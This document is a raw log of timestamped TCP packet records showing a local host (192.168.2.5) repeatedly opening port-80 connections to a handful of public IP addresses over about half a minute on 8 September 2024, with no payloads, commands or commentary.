Sep 8, 2024 08:43:09.910654068 CEST	80	65036	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:09.910705090 CEST	80	65036	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:09.910793066 CEST	65036	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:09.910793066 CEST	65036	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:09.910818100 CEST	80	65036	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:09.910872936 CEST	65036	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:09.913213015 CEST	65034	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:09.913785934 CEST	65037	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:09.918328047 CEST	80	65034	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:09.918390036 CEST	65034	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:09.918659925 CEST	80	65037	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:09.918739080 CEST	65037	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:09.918894053 CEST	65037	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:09.923609018 CEST	80	65037	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:10.402235031 CEST	80	65037	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:10.402383089 CEST	65037	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:12.955694914 CEST	65038	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:12.960623980 CEST	80	65038	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:12.960772038 CEST	65038	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:12.960988998 CEST	65038	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:12.965830088 CEST	80	65038	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:12.965846062 CEST	80	65038	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:12.965928078 CEST	65038	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:12.974469900 CEST	65039	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:12.979325056 CEST	80	65039	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:12.979465961 CEST	65039	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:12.979573965 CEST	65039	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:12.984309912 CEST	80	65039	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:13.471414089 CEST	80	65039	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:13.471447945 CEST	80	65039	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:13.471496105 CEST	65039	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:13.471589088 CEST	65039	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:13.476639032 CEST	65037	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:13.477238894 CEST	65040	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:13.481693029 CEST	80	65037	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:13.481770992 CEST	65037	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:13.482001066 CEST	80	65040	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:13.482073069 CEST	65040	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:13.483225107 CEST	65040	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:13.488054991 CEST	80	65040	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:13.972876072 CEST	80	65040	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:13.972949982 CEST	65040	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:15.131109953 CEST	65041	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:15.136116982 CEST	80	65041	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:15.136296034 CEST	65041	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:15.136504889 CEST	65041	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:15.140607119 CEST	65042	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:15.141412973 CEST	80	65041	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:15.141474962 CEST	65041	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:15.145454884 CEST	80	65042	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:15.145538092 CEST	65042	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:15.152121067 CEST	65042	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:15.156980991 CEST	80	65042	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:15.629090071 CEST	80	65042	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:15.629120111 CEST	80	65042	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:15.629225016 CEST	65042	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:15.629303932 CEST	65042	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:15.630064964 CEST	65040	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:15.631472111 CEST	65043	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:15.635221004 CEST	80	65040	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:15.635332108 CEST	65040	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:15.636331081 CEST	80	65043	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:15.636415958 CEST	65043	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:15.637505054 CEST	65043	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:15.642410040 CEST	80	65043	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:16.139379978 CEST	80	65043	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:16.139482021 CEST	65043	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:17.347204924 CEST	65044	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:17.352024078 CEST	80	65044	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:17.352103949 CEST	65044	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:17.355154037 CEST	65044	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:17.360044956 CEST	80	65044	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:17.360105991 CEST	65044	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:17.362087011 CEST	65045	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:17.367021084 CEST	80	65045	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:17.367088079 CEST	65045	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:17.372992992 CEST	65045	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:17.378289938 CEST	80	65045	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:17.870826960 CEST	80	65045	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:17.870940924 CEST	80	65045	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:17.871023893 CEST	65045	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:17.871171951 CEST	65045	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:17.875583887 CEST	65043	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:17.875894070 CEST	65046	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:17.880703926 CEST	80	65043	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:17.880717039 CEST	80	65046	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:17.880753994 CEST	65043	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:17.880795002 CEST	65046	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:17.880929947 CEST	65046	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:17.885690928 CEST	80	65046	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:18.406651020 CEST	80	65046	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:18.406821012 CEST	65046	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:19.121733904 CEST	65046	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:19.127043009 CEST	80	65046	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:19.127183914 CEST	65046	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:20.446487904 CEST	65047	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:20.451344013 CEST	80	65047	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:20.451415062 CEST	65047	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:20.464571953 CEST	65047	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:20.469106913 CEST	65048	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:20.469444036 CEST	80	65047	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:20.469538927 CEST	65047	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:20.474184036 CEST	80	65048	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:20.474320889 CEST	65048	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:20.480197906 CEST	65048	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:20.485296011 CEST	80	65048	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:20.957681894 CEST	80	65048	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:20.957835913 CEST	80	65048	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:20.957895994 CEST	65048	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:20.957946062 CEST	65048	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:20.960769892 CEST	65049	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:20.965853930 CEST	80	65049	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:20.965915918 CEST	65049	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:20.966099024 CEST	65049	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:20.970899105 CEST	80	65049	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:21.458486080 CEST	80	65049	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:21.458581924 CEST	65049	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:22.244714975 CEST	65050	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:22.250516891 CEST	80	65050	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:22.250626087 CEST	65050	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:22.250700951 CEST	65050	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:22.256503105 CEST	65051	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:22.256582975 CEST	80	65050	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:22.256647110 CEST	65050	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:22.262207031 CEST	80	65051	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:22.262375116 CEST	65051	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:22.277369976 CEST	65051	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:22.283211946 CEST	80	65051	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:22.772980928 CEST	80	65051	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:22.773000002 CEST	80	65051	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:22.773123026 CEST	65051	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:22.773214102 CEST	65051	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:22.773413897 CEST	65049	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:22.773713112 CEST	65052	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:22.778578997 CEST	80	65049	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:22.778590918 CEST	80	65052	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:22.778640032 CEST	65049	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:22.778672934 CEST	65052	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:22.778835058 CEST	65052	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:22.783575058 CEST	80	65052	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:23.280425072 CEST	80	65052	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:23.280498981 CEST	65052	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:26.778074980 CEST	65053	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:26.783166885 CEST	80	65053	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:26.783340931 CEST	65053	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:26.783636093 CEST	65053	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:26.788470030 CEST	80	65053	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:26.788659096 CEST	65053	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:26.792088032 CEST	65054	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:26.797065020 CEST	80	65054	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:26.797171116 CEST	65054	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:26.808579922 CEST	65054	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:26.813520908 CEST	80	65054	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:27.308667898 CEST	80	65054	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:27.308685064 CEST	80	65054	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:27.308860064 CEST	65054	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:27.309243917 CEST	65054	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:27.313941956 CEST	65052	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:27.314605951 CEST	65055	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:27.319212914 CEST	80	65052	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:27.319312096 CEST	65052	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:27.319416046 CEST	80	65055	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:27.319479942 CEST	65055	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:27.319602013 CEST	65055	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:27.324345112 CEST	80	65055	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:27.805432081 CEST	80	65055	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:27.805556059 CEST	65055	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:27.912380934 CEST	65056	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:27.917359114 CEST	80	65056	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:27.917447090 CEST	65056	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:27.917536974 CEST	65056	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:27.922631979 CEST	80	65056	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:27.922734022 CEST	65056	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:27.923336983 CEST	65057	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:27.928121090 CEST	80	65057	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:27.928200006 CEST	65057	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:27.933485985 CEST	65057	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:27.938281059 CEST	80	65057	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:28.434535027 CEST	80	65057	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:28.434601068 CEST	80	65057	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:28.434674978 CEST	65057	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:28.434705973 CEST	65057	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:28.435246944 CEST	65055	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:28.435600042 CEST	65058	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:28.440445900 CEST	80	65058	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:28.440469027 CEST	80	65055	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:28.440556049 CEST	65058	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:28.440568924 CEST	65055	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:28.441101074 CEST	65058	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:28.445851088 CEST	80	65058	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:28.923449993 CEST	80	65058	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:28.923583984 CEST	65058	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:29.049043894 CEST	65059	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:29.053848028 CEST	80	65059	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:29.053909063 CEST	65059	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:29.054020882 CEST	65059	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:29.058959961 CEST	80	65059	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:29.059012890 CEST	65059	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:29.060306072 CEST	65060	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:29.065260887 CEST	80	65060	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:29.065332890 CEST	65060	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:29.073946953 CEST	65060	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:29.078814983 CEST	80	65060	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:29.568830967 CEST	80	65060	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:29.569001913 CEST	65060	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:29.569442987 CEST	80	65060	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:29.569502115 CEST	65060	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:29.577722073 CEST	65058	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:29.577997923 CEST	65061	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:29.582916021 CEST	80	65061	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:29.583010912 CEST	65061	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:29.583029032 CEST	80	65058	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:29.583127975 CEST	65058	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:29.583369970 CEST	65061	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:29.588080883 CEST	80	65061	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:30.169241905 CEST	80	65061	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:30.169348955 CEST	65061	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:31.490272045 CEST	65062	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:31.495137930 CEST	80	65062	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:31.495228052 CEST	65062	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:31.495299101 CEST	65062	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:31.499593973 CEST	65063	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:31.500951052 CEST	80	65062	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:31.501033068 CEST	65062	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:31.504520893 CEST	80	65063	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:31.504606962 CEST	65063	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:31.504702091 CEST	65063	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:31.509495974 CEST	80	65063	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:31.990168095 CEST	80	65063	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:31.990183115 CEST	80	65063	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:31.990279913 CEST	65063	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:31.990343094 CEST	65063	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:31.991884947 CEST	65061	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:31.992201090 CEST	65064	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:31.996989012 CEST	80	65064	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:31.997040033 CEST	80	65061	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:31.997054100 CEST	65064	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:31.997088909 CEST	65061	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:31.997278929 CEST	65064	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:32.002202988 CEST	80	65064	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:32.486783028 CEST	80	65064	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:32.486849070 CEST	65064	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:33.052680016 CEST	65065	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:33.057553053 CEST	80	65065	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:33.057656050 CEST	65065	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:33.057847023 CEST	65065	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:33.063077927 CEST	80	65065	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:33.063210964 CEST	65065	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:33.065610886 CEST	65066	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:33.070482016 CEST	80	65066	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:33.070744038 CEST	65066	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:33.074105978 CEST	65066	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:33.078969955 CEST	80	65066	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:33.555902004 CEST	80	65066	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:33.555973053 CEST	80	65066	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:33.557348967 CEST	65066	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:33.557348967 CEST	65066	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:33.557349920 CEST	65064	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:33.558465958 CEST	65067	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:33.562447071 CEST	80	65064	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:33.562546968 CEST	65064	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:33.563227892 CEST	80	65067	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:33.563344002 CEST	65067	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:33.563688993 CEST	65067	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:33.568399906 CEST	80	65067	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:34.045382023 CEST	80	65067	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:34.045444965 CEST	65067	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:37.223875999 CEST	65068	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:37.228707075 CEST	80	65068	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:37.228826046 CEST	65068	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:37.228925943 CEST	65068	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:37.233840942 CEST	80	65068	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:37.233961105 CEST	80	65068	88.198.29.97	192.168.2.5
Sep 8, 2024 08:43:37.234035969 CEST	65068	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:43:37.255841017 CEST	65069	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:37.260793924 CEST	80	65069	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:37.260898113 CEST	65069	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:37.261396885 CEST	65069	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:37.266290903 CEST	80	65069	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:37.744003057 CEST	80	65069	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:37.744024038 CEST	80	65069	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:37.744206905 CEST	65069	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:37.744358063 CEST	65069	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:37.746078014 CEST	65067	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:37.746337891 CEST	65070	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:37.751159906 CEST	80	65070	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:37.751178026 CEST	80	65067	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:37.751281023 CEST	65067	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:37.751293898 CEST	65070	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:37.751456976 CEST	65070	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:37.756197929 CEST	80	65070	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:38.236392021 CEST	80	65070	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:38.236443043 CEST	65070	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:38.352082968 CEST	65071	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:38.356959105 CEST	80	65071	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:38.357095957 CEST	65071	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:38.357285023 CEST	65071	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:38.362258911 CEST	80	65071	45.79.222.138	192.168.2.5
Sep 8, 2024 08:43:38.362390995 CEST	65071	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:43:38.365544081 CEST	65072	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:38.378073931 CEST	80	65072	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:38.378163099 CEST	65072	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:38.378254890 CEST	65072	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:38.386055946 CEST	80	65072	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:39.063280106 CEST	80	65072	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:39.063304901 CEST	80	65072	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:39.063316107 CEST	80	65072	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:39.063626051 CEST	65072	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:39.063815117 CEST	65072	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:39.068186998 CEST	65070	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:39.069423914 CEST	65073	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:39.073371887 CEST	80	65070	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:39.073580980 CEST	65070	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:39.074191093 CEST	80	65073	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:39.074271917 CEST	65073	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:39.074464083 CEST	65073	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:39.079186916 CEST	80	65073	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:39.559240103 CEST	80	65073	172.234.222.138	192.168.2.5
Sep 8, 2024 08:43:39.559319019 CEST	65073	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:43:41.323486090 CEST	65074	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:41.328353882 CEST	80	65074	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:41.328445911 CEST	65074	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:41.328515053 CEST	65074	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:41.333589077 CEST	80	65074	64.70.19.203	192.168.2.5
Sep 8, 2024 08:43:41.333655119 CEST	65074	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:43:41.539819956 CEST	65075	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:41.544678926 CEST	80	65075	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:41.544774055 CEST	65075	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:41.544830084 CEST	65075	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:43:41.549545050 CEST	80	65075	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:42.047158003 CEST	80	65075	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:42.047182083 CEST	80	65075	172.234.222.143	192.168.2.5
Sep 8, 2024 08:43:42.047302961 CEST	65075	80	192.168.2.5	172.234.222.143
